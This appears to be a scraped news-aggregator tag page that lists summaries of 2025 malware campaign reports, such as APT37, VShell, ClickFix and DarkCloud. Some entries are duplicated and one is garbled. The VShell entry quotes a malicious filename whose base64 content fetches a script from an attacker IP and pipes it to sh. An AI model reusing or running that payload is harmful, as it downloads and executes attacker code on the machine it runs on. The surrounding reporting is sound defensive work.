Tag: infection

Chinese Cybercrime Group Runs Global SEO Fraud Ring Using Compromised IIS Servers

Oct 6, 2025 2:35 PM

Tags: attack, china, credentials, cybercrime, cybersecurity, fraud, group, india, infection, Internet, microsoft, service, theft

Cybersecurity researchers have shed light on a Chinese-speaking cybercrime group codenamed UAT-8099 that has been attributed to search engine optimization (SEO) fraud and theft of high-value credentials, configuration files, and certificate data. The attacks are designed to target Microsoft Internet Information Services (IIS) servers, with most of the infections reported in India, Thailand First seen…
WhatsApp Exploited to Spread SORVEPOTEL Malware on Windows Systems

Oct 3, 2025 11:41 AM

Tags: automation, cyber, data, exploit, extortion, infection, malware, ransomware, theft, windows

An aggressive malware campaign dubbed SORVEPOTEL is exploiting WhatsApp messages to infiltrate Windows systems, with its epicenter in Brazil. Rather than pursuing data theft or ransomware extortion, this self-propagating malware is engineered for rapid spread, leveraging social trust and automation to reach new victims. Trend Research telemetry shows that 457 of the 477 detected infections…
Industrial Automation Threats Decline Slightly in Q2 2025, but Risks Remain

Sep 23, 2025 9:16 PM

Tags: automation, infection, malware, phishing, risk, threat

ICS malware infections fell in Q2 2025, but phishing and evolving threats keep OT environments at risk. First seen on esecurityplanet.com Jump to article: www.esecurityplanet.com/threats/industrial-automation-threats-decline-slightly-in-q2-2025-but-risks-remain/
The Industry’s Passkey Pivot Ignores a Deeper Threat: Device-Level Infections

Sep 17, 2025 7:16 PM

Tags: apple, credentials, cybersecurity, github, google, infection, login, microsoft, okta, passkey, phishing, threat

Passkeys Are Progress, But They’re Not Protection Against Everything The cybersecurity community is embracing passkeys as a long-overdue replacement for passwords. These cryptographic credentials, bound to a user’s device, eliminate phishing and prevent credential reuse. Major players, like Google, Apple, Microsoft, GitHub, and Okta, have made passkey login widely available across consumer and enterprise services….…
Hackers Exploit AdaptixC2, an Emerging Open-Source C2 Tool

Sep 17, 2025 1:15 PM

Tags: cyber, exploit, framework, hacker, infection, open-source, threat, tool

In early May 2025, Unit 42 researchers observed that AdaptixC2 was used to infect several systems. While many C2 frameworks garner public attention, AdaptixC2 has remained largely under the radar”, until Unit 42 documented its deployment by real-world threat actors. This article examines AdaptixC2’s capabilities, recent infection scenarios, and guidance for defenders to anticipate and…
Windows Users Hit by VenomRAT in AI-Driven RevengeHotels Attack

Sep 16, 2025 4:15 PM

Tags: ai, attack, cyber, cybercrime, data, infection, intelligence, malware, phishing, threat, windows

RevengeHotels, also known as TA558, has escalated its long-standing cybercrime campaign by incorporating artificial intelligence into its infection chains, deploying the potent VenomRAT malware against Windows users. Active since 2015, this threat actor has traditionally targeted hotel guests and travelers, stealing payment card data through phishing emails. Recent campaigns, however, demonstrate a marked shift: AI-generated…
APT28 Exploits Signal Messenger to Deploy eardShell and Covenant Malware

Sep 16, 2025 3:16 PM

Tags: cyber, detection, exploit, infection, malware, threat

Sekoia.io’s Threat Detection and Response (TDR) team has uncovered a sophisticated campaign by APT28 that weaponizes Signal Messenger to deploy two previously undocumented malware families”, BeardShell and the Covenant framework. In early 2025, a trusted partner supplied samples that did not match any known infection chain, prompting a joint investigation. On 21 June 2025, CERT-UA…
Stealthy AsyncRAT flees the disk for a fileless infection

Sep 12, 2025 2:16 PM

Tags: access, best-practice, control, credentials, infection, malicious, malware, monitoring, phishing, powershell, rat, theft, threat, update, windows

RAT with evasion and persistence: Once AsyncRAT was loaded, the attackers took steps to disrupt Windows defenses. The report notes techniques such as disabling Anti-malware Scan Interface (AMSI) and tampering with Event Tracking for Windows (ETW), both critical features for runtime detection. To maintain persistence, they created a scheduled task disguised as “Skype Update,” ensuring…
New Malware Exploits Exposed Docker APIs to Gain Persistent Root SSH Access

Sep 9, 2025 11:08 AM

Tags: access, api, cyber, data-breach, docker, exploit, infection, infrastructure, malware

The Akamai Hunt Team has uncovered a new strain of malware that targets exposed Docker APIs with expanded infection capabilities. First observed in August 2025 within Akamai’s honeypot infrastructure, this variant diverges from the June 2025 Trend Micro report by blocking other attackers from accessing the Docker API and delivering a modular payload rather than…
APT37 Targets Windows with Rust Backdoor and Python Loader

Sep 8, 2025 5:08 PM

Tags: api, attack, backdoor, cctv, cloud, computer, control, data, detection, exploit, government, group, infection, injection, jobs, korea, malicious, malware, microsoft, monitoring, north-korea, organized, password, phishing, powershell, programming, rust, service, social-engineering, spear-phishing, startup, tactics, theft, threat, tool, update, vulnerability, windows

IntroductionAPT37 (also known as ScarCruft, Ruby Sleet, and Velvet Chollima) is a North Korean-aligned threat actor active since at least 2012. APT37 primarily targets South Korean individuals connected to the North Korean regime or involved in human rights activism, leveraging custom malware and adopting emerging technologies.In recent campaigns, APT37 utilizes a single command-and-control (C2) server…
APT37 Targets Windows with Rust Backdoor and Python Loader

Sep 8, 2025 5:08 PM

Tags: api, attack, backdoor, cctv, cloud, computer, control, data, detection, exploit, government, group, infection, injection, jobs, korea, malicious, malware, microsoft, monitoring, north-korea, organized, password, phishing, powershell, programming, rust, service, social-engineering, spear-phishing, startup, tactics, theft, threat, tool, update, vulnerability, windows

IntroductionAPT37 (also known as ScarCruft, Ruby Sleet, and Velvet Chollima) is a North Korean-aligned threat actor active since at least 2012. APT37 primarily targets South Korean individuals connected to the North Korean regime or involved in human rights activism, leveraging custom malware and adopting emerging technologies.In recent campaigns, APT37 utilizes a single command-and-control (C2) server…
APT37 Targets Windows with Rust Backdoor and Python Loader

Sep 8, 2025 5:08 PM

Tags: api, attack, backdoor, cctv, cloud, computer, control, data, detection, exploit, government, group, infection, injection, jobs, korea, malicious, malware, microsoft, monitoring, north-korea, organized, password, phishing, powershell, programming, rust, service, social-engineering, spear-phishing, startup, tactics, theft, threat, tool, update, vulnerability, windows

IntroductionAPT37 (also known as ScarCruft, Ruby Sleet, and Velvet Chollima) is a North Korean-aligned threat actor active since at least 2012. APT37 primarily targets South Korean individuals connected to the North Korean regime or involved in human rights activism, leveraging custom malware and adopting emerging technologies.In recent campaigns, APT37 utilizes a single command-and-control (C2) server…
XWorm Malware Adopts New Infection Chain to Bypass Security Detection

Sep 4, 2025 7:19 AM

Tags: backdoor, cyber, cybersecurity, detection, infection, malware, strategy, tactics

Cybersecurity researchers have identified a sophisticated evolution in XWorm malware operations, with the backdoor campaign implementing advanced tactics to evade detection systems. The Trellix Advanced Research Center has documented this significant shift in the malware’s deployment strategy, revealing a deliberate move toward more deceptive and intricate infection methods designed to increase success rates while remaining…
Mapping the Web of Commercial Spyware: Targets and Attack Chains

Sep 2, 2025 2:19 PM

Tags: attack, cyber, cybersecurity, infection, intelligence, spyware, threat

A comprehensive new report spanning 2010 to 2025 reveals the ever-evolving landscape of commercial spyware vendors (CSVs), exposing the methods these private firms employ to infiltrate devices, their typical targets, and the infection chains that deliver their covert implants. The study, produced by a leading cybersecurity intelligence firm, underscores the persistent threat posed by CSVs”,…
Threat Actors Exploit Windows Search in AnyDesk ClickFix Attack to Spread MetaStealer

Sep 2, 2025 10:19 AM

Tags: attack, credentials, cyber, exploit, infection, scam, social-engineering, threat, windows

In a novel twist on the year-long trend of ClickFix scams, threat actors have blended human-verification social engineering with the Windows search protocol to deliver MetaStealer, a commodity infostealer notorious for harvesting credentials and exfiltrating sensitive files. While the attack superficially resembles classic ClickFix and FileFix techniques, its unique infection chain”, from a fake AnyDesk…
Abandoned Sogou Zhuyin Update Server Hijacked, Weaponized in Taiwan Espionage Campaign

Aug 29, 2025 4:23 PM

Tags: attack, cloud, espionage, infection, login, malware, software, threat, update

An abandoned update server associated with input method editor (IME) software Sogou Zhuyin was leveraged by threat actors as part of an espionage campaign to deliver several malware families, including C6DOOR and GTELAM, in attacks primarily targeting users across Eastern Asia.”Attackers employed sophisticated infection chains, such as hijacked software updates and fake cloud storage or…
Weaponized ScreenConnect RMM Tool Deceives Users into Installing Xworm RAT

Aug 28, 2025 5:23 PM

Tags: access, attack, cyber, infection, malware, phishing, rat, social-engineering, tactics, threat, tool

The SpiderLabs Threat Hunt Team recently discovered a cyber campaign in which threat actors used the genuine ScreenConnect remote management application as a weapon to spread the Xworm Remote Access Trojan (RAT) through a multi-phase infection chain. The attack begins with social engineering tactics, including phishing, malvertising, and deceptive social media posts, luring users to…
Malicious apps with +19M installs removed from Google Play because spreading Anatsa banking trojan and other malware

Aug 25, 2025 8:55 PM

Tags: android, banking, google, infection, malicious, malware

Experts found 77 malicious Android apps with 19M+ installs on Google Play, spreading malware, including the Anatsa (TeaBot) banking trojan. While investigating Anatsa (Tea Bot) banking trojan infections, Zscaler’s ThreatLabs discovered seventy-seven malicious Android apps with more than 19 million installs. Several Anatsa decoy apps have each been downloaded more than 50,000 times. The malicious apps…
Malicious apps with +19M installs removed from Google Play because spreading Anatsa banking trojan and other malware

Aug 25, 2025 8:55 PM

Tags: android, banking, google, infection, malicious, malware

Experts found 77 malicious Android apps with 19M+ installs on Google Play, spreading malware, including the Anatsa (TeaBot) banking trojan. While investigating Anatsa (Tea Bot) banking trojan infections, Zscaler’s ThreatLabs discovered seventy-seven malicious Android apps with more than 19 million installs. Several Anatsa decoy apps have each been downloaded more than 50,000 times. The malicious apps…
Linux Malware Delivered via Malicious RAR Filenames Evades Antivirus Detection

Aug 22, 2025 5:54 PM

Tags: antivirus, attack, backdoor, cybersecurity, detection, email, infection, linux, malicious, malware, open-source, phishing, spam

Cybersecurity researchers have shed light on a novel attack chain that employs phishing emails to deliver an open-source backdoor called VShell.The “Linux-specific malware infection chain that starts with a spam email with a malicious RAR archive file,” Trellix researcher Sagar Bade said in a technical write-up.”The payload isn’t hidden inside the file content or a…
Stealth Threat Unpacked: Weaponized RAR Files Deliver VShell Backdoor on Linux Systems

Aug 22, 2025 10:54 AM

Tags: backdoor, cyber, data-breach, infection, linux, spam, threat

Trellix Advanced Research Center has exposed an infection chain that weaponises nothing more than a filename to compromise Linux hosts. A spam message masquerading as a beauty-product survey offers a small reward and carries a RAR archive, yy.rar. When unpacked, the archive drops a single file whose name is a miniature Bash program: ziliao2.pdf{echo,KGN1cmwgLWZzU0wgLW0xODAgaHR0cDovLzQ3Ljk4LjE5NC42MDo4MDg0L3Nsd3x8d2dldCAtVDE4MCAtcSBodHRwOi8vNDcuOTguMTk0LjYwOjgwODQvc2x3KXxzaCAg}_{base64,-d}_bash The…
UNC5518 Group Hacks Legitimate Sites with Fake Captcha to Deliver Malware

Aug 21, 2025 1:55 PM

Tags: captcha, cyber, group, infection, malicious, malware, threat

The financially motivated threat group UNC5518 has been infiltrating trustworthy websites to install ClickFix lures, which are misleading phony CAPTCHA pages, as part of a complex cyber campaign that has been monitored since June 2024. These malicious pages trick users into executing downloader scripts that initiate infection chains, often leading to malware deployment by affiliated…
Analyzing evolution of the PipeMagic malware

Aug 19, 2025 10:54 AM

Tags: attack, cve, detection, exploit, flaw, hacker, infection, kaspersky, malware, vulnerability, windows

Hackers exploited Windows flaw CVE-2025-29824 to deploy PipeMagic malware in RansomExx attacks, Kaspersky revealed. A joint report fromKasperskyandBI.ZONEanalyzed the evolution of PipeMagic malware from its first detection in 2022 to new infections observed in 2025. The researchers identified key changes in its operators’ tactics. BI.ZONE experts focused on a technical analysis of the CVE-2025-29824 vulnerability…
Weaponized Python Package >>termncolor<< Uses Windows Run Key for Persistence

Aug 18, 2025 7:54 PM

Tags: attack, cyber, cybersecurity, infection, malicious, supply-chain, windows

Cybersecurity experts discovered a complex supply chain attack that originated from the Python Package Index (PyPI) in a recent disclosure from Zscaler ThreatLabz. The package in question, termed >>termncolor,>colorinal.>termncolor
Researchers Spot XZ Utils Backdoor in Dozens of Docker Hub Images, Fueling Supply Chain Risks

Aug 12, 2025 9:19 PM

Tags: backdoor, docker, firmware, hacker, infection, risk, supply-chain

New research has uncovered Docker images on Docker Hub that contain the infamous XZ Utils backdoor, more than a year after the discovery of the incident.More troubling is the fact that other images have been built on top of these infected base images, effectively propagating the infection further in a transitive manner, Binarly REsearch said…
CastleLoader Malware Hits 400+ Devices via Cloudflare-Themed ClickFix Phishing Attack

Aug 11, 2025 2:12 PM

Tags: attack, cyber, cybersecurity, github, infection, malware, phishing, threat

CastleLoader, a sophisticated malware loader, has compromised over 400 devices since its debut in early 2025, with cybersecurity firm PRODAFT reporting 469 infections out of 1,634 attempts by May 2025, achieving a staggering 28.7% success rate. This modular threat actor leverages advanced phishing techniques, including Cloudflare-themed ClickFix lures and deceptive GitHub repositories, to deploy a…
CastleLoader Malware Hits 400+ Devices via Cloudflare-Themed ClickFix Phishing Attack

Aug 11, 2025 2:12 PM

Tags: attack, cyber, cybersecurity, github, infection, malware, phishing, threat

CastleLoader, a sophisticated malware loader, has compromised over 400 devices since its debut in early 2025, with cybersecurity firm PRODAFT reporting 469 infections out of 1,634 attempts by May 2025, achieving a staggering 28.7% success rate. This modular threat actor leverages advanced phishing techniques, including Cloudflare-themed ClickFix lures and deceptive GitHub repositories, to deploy a…
DarkCloud Stealer Uses Novel Infection Chain and ConfuserEx Obfuscation Techniques

Aug 8, 2025 9:12 PM

Tags: cyber, infection, malware, tactics, update

Unit 42 researchers have identified a significant evolution in the distribution tactics of DarkCloud Stealer, an infostealer malware first observed shifting its delivery mechanisms in early April 2025. This update introduces a novel infection chain that incorporates advanced obfuscation via ConfuserEx, culminating in a Visual Basic 6 (VB6) payload designed to thwart static and dynamic…
DarkCloud Stealer Targets Windows Systems to Harvest Login Credentials and Financial Data

Aug 8, 2025 8:11 PM

Tags: credentials, cyber, data, finance, fortinet, infection, login, malware, microsoft, phishing, tactics, windows

A new variant of the DarkCloud information-stealer malware has been observed targeting Microsoft Windows systems, primarily affecting Windows users by collecting sensitive data such as login credentials, financial information, and personal contacts. Discovered in early July 2025 by Fortinet’s FortiGuard Labs, this high-severity campaign leverages sophisticated phishing tactics to initiate infections, demonstrating advanced evasion methods…
ScarCruft Hacker Group Launches New Rust-Based Malware Attack Leveraging PubNub

Aug 7, 2025 6:11 PM

Tags: attack, cyber, group, hacker, infection, intelligence, malware, north-korea, rust, threat, update

The North Korean state-sponsored advanced persistent threat (APT) group known as ScarCruft has been linked to a sophisticated malware campaign targeting South Korean users. Disguised as a postal-code update notice, this infection chain was uncovered by S2W’s Threat Analysis and Intelligence Center (TALON), revealing a subgroup dubbed ChinopuNK that distributes the Chinotto malware. First identified…